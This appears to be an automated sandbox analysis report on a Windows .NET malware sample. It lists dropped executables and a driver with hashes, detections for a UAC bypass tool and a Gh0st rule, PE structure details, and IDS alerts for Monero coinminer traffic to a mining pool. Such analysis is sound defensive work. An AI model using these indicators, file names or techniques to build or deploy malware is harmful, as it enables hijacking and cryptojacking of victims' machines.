                                                                    Preview:B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

                                                                    C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\GcqJPBLD2Q.exe.log

                                                                    Download File
                                                                    Process:C:\Users\user\Desktop\GcqJPBLD2Q.exe
                                                                    File Type:CSV text
                                                                    Category:dropped
                                                                    Size (bytes):425
                                                                    Entropy (8bit):5.357964438493834
                                                                    Encrypted:false
                                                                    SSDEEP:12:Q3La/KDLI4MWuPXcp1OKbbDLI4MWuPOKfSSI6Khav:ML9E4KQwKDE4KGKZI6Khk
                                                                    MD5:D8F8A79B5C09FCB6F44E8CFFF11BF7CA
                                                                    SHA1:669AFE705130C81BFEFECD7CC216E6E10E72CB81
                                                                    SHA-256:91B010B5C9F022F3449F161425F757B276021F63B024E8D8ED05476509A6D406
                                                                    SHA-512:C95CB5FC32843F555EFA7CCA5758B115ACFA365A6EEB3333633A61CA50A90FEFAB9B554C3776FFFEA860FEF4BF47A6103AFECF3654C780287158E2DBB8137767
                                                                    Malicious:true
                                                                    Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..

                                                                    C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log

                                                                    Download File
                                                                    Process:C:\Windows\System32\conhost.exe
                                                                    File Type:ASCII text, with CRLF line terminators
                                                                    Category:dropped
                                                                    Size (bytes):539
                                                                    Entropy (8bit):5.356620128167825
                                                                    Encrypted:false
                                                                    SSDEEP:12:Q3La/KDLI4MWuPXcp1WzAbDLI4MNepQZaDAWDLI4MWuCv:ML9E4KQMsXE4Np/E4Ks
                                                                    MD5:7155C0B26CEC4BA9E8198691F0343F69
                                                                    SHA1:0C2D3811CBDA0C349203F9AAAEEF47E6DB4C0FEF
                                                                    SHA-256:59691880D1C39E4698FA89EFDA67A8EA171A039B0F6FC332EBE911F7EE790E23
                                                                    SHA-512:62A480C5AD8A978E41D29B6C03666D30569A0A7A1F8D92DA201CE839FE4578782EAEF5EF4B675306668F5813B71F2467B52AE090BDCF5313C276631DBD6E9379
                                                                    Malicious:false
                                                                    Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Management, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Management\8af759007c012da690062882e06694f1\System.Management.ni.dll",0..2,"System.IO.Compression, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..

                                                                    C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                    Download File
                                                                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                    File Type:data
                                                                    Category:dropped
                                                                    Size (bytes):64
                                                                    Entropy (8bit):1.1940658735648508
                                                                    Encrypted:false
                                                                    SSDEEP:3:NllluljjElz:NllUE
                                                                    MD5:11E11881DB10CF040A1189171FFA58F4
                                                                    SHA1:FA0557B00771F196EF84B8274DCF7D079278811D
                                                                    SHA-256:2060C23CA036F0750DFC90E1C6D5374136E9D90262F6D125FC39BF72F75727A8
                                                                    SHA-512:C4762CDBE3A3AEDD00383855E5F4DF838B053199FC721F1600371ED177B37F8FE1C0983BC05F8CA940568034E2C66F67C586950A23E5032FED4F9A985A71BD73
                                                                    Malicious:false
                                                                    Preview:@...e.................................r.!............@..........

                                                                    C:\Users\user\AppData\Local\Temp\Cool.exe

                                                                    Download File
                                                                    Process:C:\Users\user\Desktop\GcqJPBLD2Q.exe
                                                                    File Type:PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
                                                                    Category:dropped
                                                                    Size (bytes):2234880
                                                                    Entropy (8bit):7.999703845559877
                                                                    Encrypted:true
                                                                    SSDEEP:49152:DbsShrTLQqUh8D9H7agbZXidfz8ur3kvVguyFWOSoqTmRq85:v9hP0kBOgbZkxbkvVYFWO0mg85
                                                                    MD5:DEF89B601B7DDD52A94E15DBD38EAEEF
                                                                    SHA1:EA87B102BC3A5C8979288A9FFD8AC27595E86E05
                                                                    SHA-256:1494DA12B79A3EA799839680B25359BA84EB0BE102ED93060FEA5A9F17D2323C
                                                                    SHA-512:26791781DFFFAB7B5A475ECB99BD060A6BC0E71234DDE52821CA8F98BBBC78777A4DA8FC20D3DBB4F848A5600D725D354F43AEA1CC738452B294BCF147732E45
                                                                    Malicious:true
                                                                    Antivirus:
                                                                    • Antivirus: Avira, Detection: 100%
                                                                    • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d................./..........."......"........@..............................P".....:.#.....................................................0+".<............@".....................................................................l+"..............................text............................... ..`.rdata..n.!..0....!.................@..@.bss.........0"..........................pdata.......@".......".............@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                    C:\Users\user\AppData\Local\Temp\DccwBypassUAC.exe

                                                                    Download File
                                                                    Process:C:\Users\user\Desktop\GcqJPBLD2Q.exe
                                                                    File Type:PE32+ executable (console) x86-64, for MS Windows
                                                                    Category:dropped
                                                                    Size (bytes):82432
                                                                    Entropy (8bit):6.446528321328694
                                                                    Encrypted:false
                                                                    SSDEEP:1536:qpob9UDgogvBOMc0egPgHbZ9tIz6RBHhoK31l6E:mLMogZqIP6bZEz6r6E
                                                                    MD5:83588784E36FE1894F499CAF5FAD5ED8
                                                                    SHA1:03B9E7CBBCF334A9526A776505797FF3FF73766B
                                                                    SHA-256:2E9AA76BCA1D33AFA183192E52AAAE388F2CC21AD84DB61624B08B40E88B684B
                                                                    SHA-512:8D2A4F7B141DA69AEA5DD7A823722B37E249981C5F07E6862C6B3F215C6D2DE856F679255A3C4EA9884B16BF662E0AADB96F75FD00A765FE63484DE70D0A01C9
                                                                    Malicious:true
                                                                    Yara Hits:
                                                                    • Rule: JoeSecurity_UACMe, Description: Yara detected UACMe UAC Bypass tool, Source: C:\Users\user\AppData\Local\Temp\DccwBypassUAC.exe, Author: Joe Security
                                                                    • Rule: Codoso_Gh0st_2, Description: Detects Codoso APT Gh0st Malware, Source: C:\Users\user\AppData\Local\Temp\DccwBypassUAC.exe, Author: Florian Roth
                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............J...J...J...J...J.*.K...J.*.K...J.*.K...J.*.K...J..K...J...J..J.+.K...J.+yJ...J...J...J.+.K...JRich...J................PE..d.....f.........."....).L...~......HM.........@..........................................`..................................................7..h...............t...............`....(..p............................'..@............`...............................text...vK.......L.................. ..`.rdata..:....`.......P..............@..@.data.......P.......6..............@....pdata..t............8..............@..@.rsrc................>..............@..@.reloc..`............@..............@..B................................................................................................................................................................................................................................................

                                                                    C:\Users\user\AppData\Local\Temp\DccwBypassUAC.pdb

                                                                    Download File
                                                                    Process:C:\Users\user\Desktop\GcqJPBLD2Q.exe
                                                                    File Type:MSVC program database ver 7.00, 4096*297 bytes
                                                                    Category:dropped
                                                                    Size (bytes):1216512
                                                                    Entropy (8bit):4.823628926418521
                                                                    Encrypted:false
                                                                    SSDEEP:24576:50HZ8dTqjqB85QKbS6CGFnwAS1nvvEhf:50HZ8dTqjqB85QKbSxvvEhf
                                                                    MD5:619A85E6061155BEFE3D4A544C14349D
                                                                    SHA1:37C9EAC43CF9B7872898246A719DD4251CAC235C
                                                                    SHA-256:8F25F7419C770875786875478011E4EEF0A219E916980B02FD0FCE4565DA9754
                                                                    SHA-512:9C23897F14855B796055C580D08B2CF71DCD96A29A4B5FE19748F8CD7AA763BB4BC830600531F98F3BAC9073534793C77DAC59377675CCF45058924807EF79B8
                                                                    Malicious:false
                                                                    Preview:Microsoft C/C++ MSF 7.00...DS...........)...........(...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                    C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2bvc44fe.sdv.ps1

                                                                    Download File
                                                                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                    File Type:ASCII text, with no line terminators
                                                                    Category:dropped
                                                                    Size (bytes):60
                                                                    Entropy (8bit):4.038920595031593
                                                                    Encrypted:false
                                                                    SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                    MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                    SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                    SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                    SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                    Malicious:false
                                                                    Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                    C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_43dity4a.ab5.psm1

                                                                    Download File
                                                                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                    File Type:ASCII text, with no line terminators
                                                                    Category:dropped
                                                                    Size (bytes):60
                                                                    Entropy (8bit):4.038920595031593
                                                                    Encrypted:false
                                                                    SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                    MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                    SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                    SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                    SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                    Malicious:false
                                                                    Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                    C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xw53nwnr.flv.ps1

                                                                    Download File
                                                                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                    File Type:ASCII text, with no line terminators
                                                                    Category:dropped
                                                                    Size (bytes):60
                                                                    Entropy (8bit):4.038920595031593
                                                                    Encrypted:false
                                                                    SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                    MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                    SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                    SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                    SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                    Malicious:false
                                                                    Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                    C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yncfji4m.lsy.psm1

                                                                    Download File
                                                                    Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                    File Type:ASCII text, with no line terminators
                                                                    Category:dropped
                                                                    Size (bytes):60
                                                                    Entropy (8bit):4.038920595031593
                                                                    Encrypted:false
                                                                    SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                    MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                    SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                    SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                    SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                    Malicious:false
                                                                    Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                    C:\Users\user\AppData\Local\Temp\services64.exe

                                                                    Download File
                                                                    Process:C:\Windows\System32\conhost.exe
                                                                    File Type:PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
                                                                    Category:dropped
                                                                    Size (bytes):2234880
                                                                    Entropy (8bit):7.999703845559877
                                                                    Encrypted:true
                                                                    SSDEEP:49152:DbsShrTLQqUh8D9H7agbZXidfz8ur3kvVguyFWOSoqTmRq85:v9hP0kBOgbZkxbkvVYFWO0mg85
                                                                    MD5:DEF89B601B7DDD52A94E15DBD38EAEEF
                                                                    SHA1:EA87B102BC3A5C8979288A9FFD8AC27595E86E05
                                                                    SHA-256:1494DA12B79A3EA799839680B25359BA84EB0BE102ED93060FEA5A9F17D2323C
                                                                    SHA-512:26791781DFFFAB7B5A475ECB99BD060A6BC0E71234DDE52821CA8F98BBBC78777A4DA8FC20D3DBB4F848A5600D725D354F43AEA1CC738452B294BCF147732E45
                                                                    Malicious:true
                                                                    Antivirus:
                                                                    • Antivirus: Avira, Detection: 100%
                                                                    • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d................./..........."......"........@..............................P".....:.#.....................................................0+".<............@".....................................................................l+"..............................text............................... ..`.rdata..n.!..0....!.................@..@.bss.........0"..........................pdata.......@".......".............@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                    C:\Users\user\AppData\Roaming\Microsoft\Libs\WR64.sys

                                                                    Download File
                                                                    Process:C:\Windows\System32\conhost.exe
                                                                    File Type:PE32+ executable (native) x86-64, for MS Windows
                                                                    Category:modified
                                                                    Size (bytes):14544
                                                                    Entropy (8bit):6.2660301556221185
                                                                    Encrypted:false
                                                                    SSDEEP:192:nqjKhp+GQvzj3i+5T9oGYJh1wAoxhSF6OOoe068jSJUbueq1H2PIP0:qjKL+v/y+5TWGYOf2OJ06dUb+pQ
                                                                    MD5:0C0195C48B6B8582FA6F6373032118DA
                                                                    SHA1:D25340AE8E92A6D29F599FEF426A2BC1B5217299
                                                                    SHA-256:11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5
                                                                    SHA-512:AB28E99659F219FEC553155A0810DE90F0C5B07DC9B66BDA86D7686499FB0EC5FDDEB7CD7A3C5B77DCCB5E865F2715C2D81F4D40DF4431C92AC7860C7E01720D
                                                                    Malicious:true
                                                                    Antivirus:
                                                                    • Antivirus: ReversingLabs, Detection: 5%
                                                                    Joe Sandbox View:
                                                                    • Filename: TwrhjEKqxk.exe, Detection: malicious, Browse
                                                                    • Filename: aA45th2ixY.exe, Detection: malicious, Browse
                                                                    • Filename: 1mqzOM6eok.exe, Detection: malicious, Browse
                                                                    • Filename: updater.exe, Detection: malicious, Browse
                                                                    • Filename: 7QiAmg58Jk.exe, Detection: malicious, Browse
                                                                    • Filename: LnK0dS8jcA.exe, Detection: malicious, Browse
                                                                    • Filename: file.exe, Detection: malicious, Browse
                                                                    • Filename: SecuriteInfo.com.Win64.Evo-gen.13032.15171.exe, Detection: malicious, Browse
                                                                    • Filename: file.exe, Detection: malicious, Browse
                                                                    • Filename: S0FTWARE.exe, Detection: malicious, Browse
                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5:n.q[..q[..q[..q[..}[..V.{.t[..V.}.p[..V.m.r[..V.q.p[..V.|.p[..V.x.p[..Richq[..................PE..d....&.H.........."..................P.......................................p..............................................................dP..<....`.......@..`...................p ............................................... ..p............................text............................... ..h.rdata..|.... ......................@..H.data........0......................@....pdata..`....@......................@..HINIT...."....P...................... ....rsrc........`......................@..B................................................................................................................................................................................................................................................................................

                                                                    C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe

                                                                    Download File
                                                                    Process:C:\Windows\System32\conhost.exe
                                                                    File Type:PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
                                                                    Category:dropped
                                                                    Size (bytes):31744
                                                                    Entropy (8bit):7.58901482766096
                                                                    Encrypted:false
                                                                    SSDEEP:768:mQ+aQc5+YUYWkY2c5GnU/cf+crM2t7xCyAUf:Jnb5pJ/l+onr
                                                                    MD5:3C9FA255FE0A761E4D8535039EB86F5C
                                                                    SHA1:96AE8A31237B25A797D568BCD333C5BDF662831A
                                                                    SHA-256:B7677CB95ABC6682AA804B48587EE1ED1AF1DE992EC306B78FFE8F04673F68B3
                                                                    SHA-512:D7AFD1491E918C63CFB3ADA5290BDE5F261B7397269424E67CD91A6C8982E824F032EC314A968A258B0F9522935E292EF65D91C3F9A35239ADE89A182B4183CB
                                                                    Malicious:true
                                                                    Antivirus:
                                                                    • Antivirus: Avira, Detection: 100%
                                                                    • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d................./..........b......."........@.............................................................................................0...<...................................................................................l................................text............................... ..`.rdata..n_...0...`..................@..@.bss.....................................pdata...............z..............@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                    C:\Windows\appcompat\Programs\Amcache.hve

                                                                    Download File
                                                                    Process:C:\Windows\System32\WerFault.exe
                                                                    File Type:MS Windows registry file, NT/2000 or above
                                                                    Category:dropped
                                                                    Size (bytes):1835008
                                                                    Entropy (8bit):4.469507536644076
                                                                    Encrypted:false
                                                                    SSDEEP:6144:xzZfpi6ceLPx9skLmb0fYZWSP3aJG8nAgeiJRMMhA2zX4WABluuN3jDH5S:pZHtYZWOKnMM6bFplj4
                                                                    MD5:FB997A1D33B94FD6E6DA21B0E277D34A
                                                                    SHA1:AE9DF20621B026E338833D50A807D6B14B10387A
                                                                    SHA-256:E9512874C456A39F62092ACB9EF784C6F90D51483C0C2C772867EB9A02CA5983
                                                                    SHA-512:A6CB4406ACC812BD0C102A1F4F4566D38E8B8A54803CE34C37A72C7213264556D9688C8D2764CE4DE0077FFB9BA6870EA6C037CC482B04755E7BB48109194689
                                                                    Malicious:false
                                                                    Preview:regfH...H....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.G...................................................................................................................................................................................................................................................................................................................................................4.'........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                    \Device\ConDrv

                                                                    Download File
                                                                    Process:C:\Users\user\AppData\Local\Temp\DccwBypassUAC.exe
                                                                    File Type:ASCII text, with CRLF line terminators
                                                                    Category:dropped
                                                                    Size (bytes):119
                                                                    Entropy (8bit):4.460360847653456
                                                                    Encrypted:false
                                                                    SSDEEP:3:jKPX9EIIMLMW3u+DFxSoF+FL+N9OkMtF2sVa2jUgvn:gNTIKMj+DLhgqgkMt9aQn
                                                                    MD5:5FF7DCF7E909CD47FDFE031DDD3ED725
                                                                    SHA1:01405756D79C45775E0C714477CF90A02734F5A8
                                                                    SHA-256:31BFB31EC755CFF97D956A78CB86F9E6E057B0014934A5C5949C716209B6F868
                                                                    SHA-512:F6B0FCE1F7F1D01122B8210F45C9EA6D8E48E64490C42D20AB2CADE9168295A2A89E6DBAF1C1BBC2525DDEF7EDCE4244512B1D54AFA6D1E9D1330A58BADFDFF6
                                                                    Malicious:false
                                                                    Preview: [!] You already have Administrator rights! There is no need to execute the script ;).. [+] Stopping the execution.....

                                                                    Static File Info

                                                                    General

                                                                    File type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                    Entropy (8bit):7.999748830285122
                                                                    TrID:
                                                                    • Win32 Executable (generic) Net Framework (10011505/4) 49.83%
                                                                    • Win32 Executable (generic) a (10002005/4) 49.78%
                                                                    • Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36%
                                                                    • Generic Win/DOS Executable (2004/3) 0.01%
                                                                    • DOS Executable Generic (2002/1) 0.01%
                                                                    File name:GcqJPBLD2Q.exe
                                                                    File size:3'598'848 bytes
                                                                    MD5:831c0b3184feb755997ee1ec5e474ca8
                                                                    SHA1:45daae9fbc40e84523ff7bf15742f6bf7bac1462
                                                                    SHA256:3deb1c82c0d030534d168b9857c7ed13815917146448e1ab6844f4a90edc2a7d
                                                                    SHA512:a19977651dbf0b14c065d6c73da429819399af31245bf83898612e910cfff6d21d21a5ddab933ed0042319864cf62ed6e48867bfde5001630e63fb0713c74693
                                                                    SSDEEP:49152:xgK8x6tinpu5GmV7HC7uaKZuJ/daqcn+kq2M6uFCnyEcv+mBnruY3+A3DbtBbgS:WK8xdIwubZu6q+eCBsruYp3X
                                                                    TLSH:75F533B7944DBA98EB1584F7C2F50370813C7F29A4B79260BA090BE95968783F84F46D
                                                                    File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f..................6.........^.6.. ....7...@.. .......................@7...........@................................

                                                                    File Icon

                                                                    Icon Hash:00928e8e8686b000

                                                                    Static PE Info

                                                                    General

                                                                    Entrypoint:0x76ff5e
                                                                    Entrypoint Section:.text
                                                                    Digitally signed:false
                                                                    Imagebase:0x400000
                                                                    Subsystem:windows gui
                                                                    Image File Characteristics:EXECUTABLE_IMAGE, 32BIT_MACHINE
                                                                    DLL Characteristics:DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                                                                    Time Stamp:0x66F89DB5 [Sun Sep 29 00:22:13 2024 UTC]
                                                                    TLS Callbacks:
                                                                    CLR (.Net) Version:
                                                                    OS Version Major:4
                                                                    OS Version Minor:0
                                                                    File Version Major:4
                                                                    File Version Minor:0
                                                                    Subsystem Version Major:4
                                                                    Subsystem Version Minor:0
                                                                    Import Hash:f34d5f2d4577ed6d9ceec516c1f5a744

                                                                    Entrypoint Preview

                                                                    Instruction
                                                                    jmp dword ptr [00402000h]
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    add al, byte ptr [eax]
                                                                    adc byte ptr [eax], al
                                                                    add byte ptr [eax], al
                                                                    and byte ptr [eax], al
                                                                    add byte ptr [eax+00000018h], al
                                                                    push eax
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], 00000000h
                                                                    add byte ptr [eax], al
                                                                    add byte ptr [eax], al

                                                                    Data Directories

                                                                    NameVirtual AddressVirtual Size Is in Section
                                                                    IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                    IMAGE_DIRECTORY_ENTRY_IMPORT0x36ff040x57.text
                                                                    IMAGE_DIRECTORY_ENTRY_RESOURCE0x3700000x588.rsrc
                                                                    IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                    IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                    IMAGE_DIRECTORY_ENTRY_BASERELOC0x3720000xc.reloc
                                                                    IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                    IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                    IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                    IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                    IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                    IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                    IMAGE_DIRECTORY_ENTRY_IAT0x20000x8.text
                                                                    IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                    IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x20080x48.text
                                                                    IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                    Sections

                                                                    NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                    .text0x20000x36df640x36e000aee2f3223bc97a5bc58b718735399f5funknownunknownunknownunknownIMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                    .rsrc0x3700000x5880x6005f72a8cbd043b5fe2568d32132eb6557False0.40625data4.256138460572747IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                    .reloc0x3720000xc0x200a4336f2d78ed6e275c95815a69f5d9baFalse0.044921875data0.10191042566270775IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                                    Resources

                                                                    NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                    RT_VERSION0x3700a00x244data0.46206896551724136
                                                                    RT_MANIFEST0x3702e40x29eXML 1.0 document, ASCII text0.4746268656716418

                                                                    Imports

                                                                    DLLImport
                                                                    mscoree.dll_CorExeMain

                                                                    Network Behavior

                                                                    Suricata IDS Alerts

                                                                    TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                                    2024-10-08T00:16:50.341351+02002826930ETPRO COINMINER XMR CoinMiner Usage2192.168.2.64975945.76.89.7080TCP
                                                                    2024-10-08T00:17:09.676958+02002036289ET COINMINER CoinMiner Domain in DNS Lookup (pool .hashvault .pro)2192.168.2.6496171.1.1.153UDP

                                                                    Network Port Distribution

                                                                    TCP Packets

                                                                    TimestampSource PortDest PortSource IPDest IP
